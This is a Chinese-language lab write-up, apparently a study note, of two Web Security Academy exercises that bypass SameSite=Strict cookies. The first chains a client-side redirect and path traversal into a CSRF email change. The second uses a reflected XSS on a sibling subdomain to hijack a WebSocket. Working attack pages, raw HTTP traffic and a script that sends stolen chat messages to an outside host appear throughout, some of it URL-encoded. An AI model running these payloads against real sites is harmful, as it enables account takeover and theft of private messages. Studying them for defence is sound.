CSRF bypass SameSite Strict

如果使用SameSite=Strict屬性設定 cookie ,瀏覽器將不會在任何跨網站請求中傳送它。儘管這是最安全的選項,但在需要跨網站功能的情況下,可能會對使用者體驗產生負面影響。儘管是最安全的設定,但還是有機會饒過,說明如下。


使用redirect饒過

如果目標有重導向問題和改請求方法問題,可饒過SameSite=Strict限制

重導向問題

/post/comment/confirmation?postId被發現有directory travel漏洞,可配合做重導向

############## request ##############
GET /post/comment/confirmation?postId=1/../../my-account HTTP/1.1
Host: 0ae1008d042bd4bf800b268d005d00c9.web-security-academy.net
Cookie: session=ZB7jE8GRib5hdloISwY6OW3Fhg4Ga0En
...omit...

############## response ############## 
...omit...
<script src='/resources/js/commentConfirmationRedirect.js'>
...omit...

重導向的做法可參考commentConfirmationRedirect.js內的代碼如下

...omit...
redirectOnConfirmation = (blogPath) => {
	    setTimeout(() => {
	        const url = new URL(window.location);
	        const postId = url.searchParams.get("postId");
	        window.location = blogPath + '/' + postId;
	    }, 3000);
}
...omit...

最後重導向到/my-account

############## request ##############
	GET /my-account HTTP/1.1
	...omit...

改請求方法問題

如果要改EMAIL,原本的請求是用POST,如下

############## request ##############
	POST /my-account/change-email HTTP/1.1
	...omit...
	email=wiener2%40normal-user.net&submit=1

############## response ############## 
	HTTP/1.1 302 Found
	Location: /my-account
	Connection: close
	Content-Length: 0

但把他改成GET請求也可以用如下

############## request ##############
GET /my-account/change-email?email=wiener2%40normal-user.net&submit=1 HTTP/1.1
Host: 0ae1008d042bd4bf800b268d005d00c9.web-security-academy.net
Cookie: session=ZB7jE8GRib5hdloISwY6OW3Fhg4Ga0En
	...omit...

############## response ############## 
	HTTP/1.1 302 Found
	Location: /my-account
	Connection: close
	Content-Length: 0

準備攻擊頁面

結合上述重導向問題與改方法問題,準備攻擊頁面如下

<script>
    document.location = "https://0ae1008d042bd4bf800b268d005d00c9.web-security-academy.net/post/comment/confirmation?postId=1/../../my-account/change-email?email=pwned%40web-security-academy.net%26submit=1";
</script>

將內容做url encode如下

<script>
    document.location = "https://0ae1008d042bd4bf800b268d005d00c9.web-security-academy.net/post/comment/confirmation?postId=1%2f%2e%2e%2f%2e%2e%2fmy-account/change-email?email=pwned%40web-security-academy.net%26submit=1";
</script>

驗證攻擊結果

當訪問訪問以上攻擊頁面,就會產生以下請求,

############### request ##############
GET /post/comment/confirmation?postId=1/../../my-account/change-email?email=pwned%40web-security-academy.net%26submit=1 HTTP/2
Host: 0ae1008d042bd4bf800b268d005d00c9.web-security-academy.net
...omit...

############### response ##############
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
Set-Cookie: session=En6gHArKYfrA5sXUUkKZQC45jcrQanbn; Secure; HttpOnly; SameSite=Strict
X-Frame-Options: SAMEORIGIN
Content-Length: 3256
...omit..
<script>redirectOnConfirmation('/post');</script>
<h1>Thank you for your comment!</h1>
<p>Your comment has been submitted. You will be redirected momentarily.</p>

由於可重導向,因此被重導到/my-account/change-email如下

############### request ##############
GET /my-account/change-email?email=pwned@web-security-academy.net&submit=1 HTTP/2
Host: 0ae1008d042bd4bf800b268d005d00c9.web-security-academy.net
Cookie: session=ZB7jE8GRib5hdloISwY6OW3Fhg4Ga0En
...omit...

############### response ##############
HTTP/2 302 Found
Location: /my-account?id=wiener
X-Frame-Options: SAMEORIGIN
Content-Length: 0

Lab: SameSite Strict bypass via client-side redirect


利用子網域與XSS饒過

目標有SameSite=Strict限制,可利用一些漏洞饒過,說明如下

準備CSRF攻擊頁面

目標有使用websocket,發起時會帶cookie

GET /chat HTTP/1.1
...omit...
Cookie: session=hYubTLpH7nlTqUNtyhKHL2ULx7o8cvGh
Sec-WebSocket-Key: CC97pCtWdWcehsxbarPCsw==

準備攻擊頁面如下

<script>
    var ws = new WebSocket('wss://0a6e002b04fcf1a7c38a517f006b000c.web-security-academy.net/chat');
    ws.onopen = function() {
        ws.send("READY");
    };
    ws.onmessage = function(event) {
        fetch('https://outsidehost', {method: 'POST', mode: 'no-cors', body: event.data});
    };
</script>

當訪問到攻擊頁,會根據攻擊指令建立websocket,但因為SameSite=Strict,所以無法用cookie傳送

GET /chat HTTP/1.1
Host: 0a7a00bf03d7412685e694d200e800cc.web-security-academy.net
Sec-WebSocket-Key: vZKMrI+C1iXJjDxmPuXXSA==
...omit...

接著https://outsidehost將會收到訊息,但因為沒帶cookie,所以這只是竊取了全新會話的聊天歷史記錄,並不是特別有用

XSS

發現chat.js的返回內容包含 https://cms-0a7a00bf03d7412685e694d200e800cc.web-security-academy.net

############### request ############### 
GET /resources/js/chat.js HTTP/2
Host: 0a7a00bf03d7412685e694d200e800cc.web-security-academy.net
...omit...

############### respone ###############  
HTTP/2 200 OK
Content-Type: application/javascript; charset=utf-8
Cache-Control: public, max-age=3600
Access-Control-Allow-Origin: https://cms-0a7a00bf03d7412685e694d200e800cc.web-security-academy.net
X-Frame-Options: SAMEORIGIN
Content-Length: 3561

分析該網址後發現,在username參數有xss弱點,可使用<script>alert(1)</script>如下

############### request ###############  
POST /login HTTP/1.1
Host: cms-0a7a00bf03d7412685e694d200e800cc.web-security-academy.net
...omit...
username=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&password=1

############### respone ###############  
...omit...
<p>Invalid username: <script>alert(1)</script></p>
...omit...

轉換成GET也可以正常運作,如下

############### request  ############### 
GET /login?username=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&password=1 HTTP/1.1
Host: cms-0a7a00bf03d7412685e694d200e800cc.web-security-academy.net
...omit...

############### respone  ############### 
...omit...
<p>Invalid username: <script>alert(1)</script></p>
...omit...

合併XSS和CSRF

將剛剛準備的攻擊頁urlencode編碼

<script>
    var ws = new WebSocket('wss://0a6e002b04fcf1a7c38a517f006b000c.web-security-academy.net/chat');
    ws.onopen = function() {
        ws.send("READY");
    };
    ws.onmessage = function(event) {
        fetch('https://outsidehost', {method: 'POST', mode: 'no-cors', body: event.data});
    };
</script>
%3c%73%63%72%69%70%74%3e%0a%20%20%20%20%76%61%72%20%77%73%20%3d%20%6e%65%77%20%57%65%62%53%6f%63%6b%65%74%28%27%77%73%73%3a%2f%2f%30%61%36%65%30%30%32%62%30%34%66%63%66%31%61%37%63%33%38%61%35%31%37%66%30%30%36%62%30%30%30%63%2e%77%65%62%2d%73%65%63%75%72%69%74%79%2d%61%63%61%64%65%6d%79%2e%6e%65%74%2f%63%68%61%74%27%29%3b%0a%20%20%20%20%77%73%2e%6f%6e%6f%70%65%6e%20%3d%20%66%75%6e%63%74%69%6f%6e%28%29%20%7b%0a%20%20%20%20%20%20%20%20%77%73%2e%73%65%6e%64%28%22%52%45%41%44%59%22%29%3b%0a%20%20%20%20%7d%3b%0a%20%20%20%20%77%73%2e%6f%6e%6d%65%73%73%61%67%65%20%3d%20%66%75%6e%63%74%69%6f%6e%28%65%76%65%6e%74%29%20%7b%0a%20%20%20%20%20%20%20%20%66%65%74%63%68%28%27%68%74%74%70%73%3a%2f%2f%6b%76%6a%72%37%69%38%38%65%33%73%62%6d%66%33%65%6f%71%68%78%6b%68%65%79%65%70%6b%67%38%35%2e%62%75%72%70%63%6f%6c%6c%61%62%6f%72%61%74%6f%72%2e%6e%65%74%27%2c%20%7b%6d%65%74%68%6f%64%3a%20%27%50%4f%53%54%27%2c%20%6d%6f%64%65%3a%20%27%6e%6f%2d%63%6f%72%73%27%2c%20%62%6f%64%79%3a%20%65%76%65%6e%74%2e%64%61%74%61%7d%29%3b%0a%20%20%20%20%7d%3b%0a%3c%2f%73%63%72%69%70%74%3e

準備另一個攻擊頁面,將剛剛的urlencode編碼內容放到username後

<script>
    document.location = "https://cms-0a6e002b04fcf1a7c38a517f006b000c.web-security-academy.net/login?username=%3c%73%63%72%69%70%74%3e%0a%20%20%20%20%76%61%72%20%77%73%20%3d%20%6e%65%77%20%57%65%62%53%6f%63%6b%65%74%28%27%77%73%73%3a%2f%2f%30%61%36%65%30%30%32%62%30%34%66%63%66%31%61%37%63%33%38%61%35%31%37%66%30%30%36%62%30%30%30%63%2e%77%65%62%2d%73%65%63%75%72%69%74%79%2d%61%63%61%64%65%6d%79%2e%6e%65%74%2f%63%68%61%74%27%29%3b%0a%20%20%20%20%77%73%2e%6f%6e%6f%70%65%6e%20%3d%20%66%75%6e%63%74%69%6f%6e%28%29%20%7b%0a%20%20%20%20%20%20%20%20%77%73%2e%73%65%6e%64%28%22%52%45%41%44%59%22%29%3b%0a%20%20%20%20%7d%3b%0a%20%20%20%20%77%73%2e%6f%6e%6d%65%73%73%61%67%65%20%3d%20%66%75%6e%63%74%69%6f%6e%28%65%76%65%6e%74%29%20%7b%0a%20%20%20%20%20%20%20%20%66%65%74%63%68%28%27%68%74%74%70%73%3a%2f%2f%6b%76%6a%72%37%69%38%38%65%33%73%62%6d%66%33%65%6f%71%68%78%6b%68%65%79%65%70%6b%67%38%35%2e%62%75%72%70%63%6f%6c%6c%61%62%6f%72%61%74%6f%72%2e%6e%65%74%27%2c%20%7b%6d%65%74%68%6f%64%3a%20%27%50%4f%53%54%27%2c%20%6d%6f%64%65%3a%20%27%6e%6f%2d%63%6f%72%73%27%2c%20%62%6f%64%79%3a%20%65%76%65%6e%74%2e%64%61%74%61%7d%29%3b%0a%20%20%20%20%7d%3b%0a%3c%2f%73%63%72%69%70%74%3e&password=anything";
</script>

攻擊網頁流程

一旦受害者訪問該攻擊頁,就會使用username的XSS漏洞

############### request ############### 
GET /login?username=%3c%73%63%72%69...omit...%70%74%3e&password=anything HTTP/2
Host: cms-0a7a00bf03d7412685e694d200e800cc.web-security-academy.net
...omit...

############### response ############### 
	...omit...
	<p>Invalid username: <script>
	    var ws = new WebSocket('wss://0a7a00bf03d7412685e694d200e800cc.web-security-academy.net/chat');
	    ws.onopen = function() {
	        ws.send("READY");
	    };
	    ws.onmessage = function(event) {
	        fetch('https://outsidehost', {method: 'POST', mode: 'no-cors', body: event.data});
	    };
	</script></p>
...omit...

執行XSS指定的代碼,使用受害者的cookie建立websocket,並把內容傳送到https://outsidehost

############### request ############### 
GET /chat HTTP/2
Host: 0a7a00bf03d7412685e694d200e800cc.web-security-academy.net
Upgrade: websocket
Origin: https://cms-0a7a00bf03d7412685e694d200e800cc.web-security-academy.net
Cookie: session=RE5nG3brEHF8odVfEKK0mZkK1SKTh70N
Sec-Websocket-Key: e+klpHJ6JJxhBuVlc1pgDg==
...omit...

############### response ############### 
HTTP/1.1 101 Switching Protocol
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: J7wztriL29ECxk5T0amm40TybjQ=
Content-Length: 0

https://outsidehost將會收到訊息,受害者的訊息都能看到如下

{"user":"You","content":"I forgot my password"}
{"user":"Hal Pline","content":"No problem carlos, it's xhu8b4knhbryp1l9ocs6"}

Lab: SameSite Strict bypass via sibling domain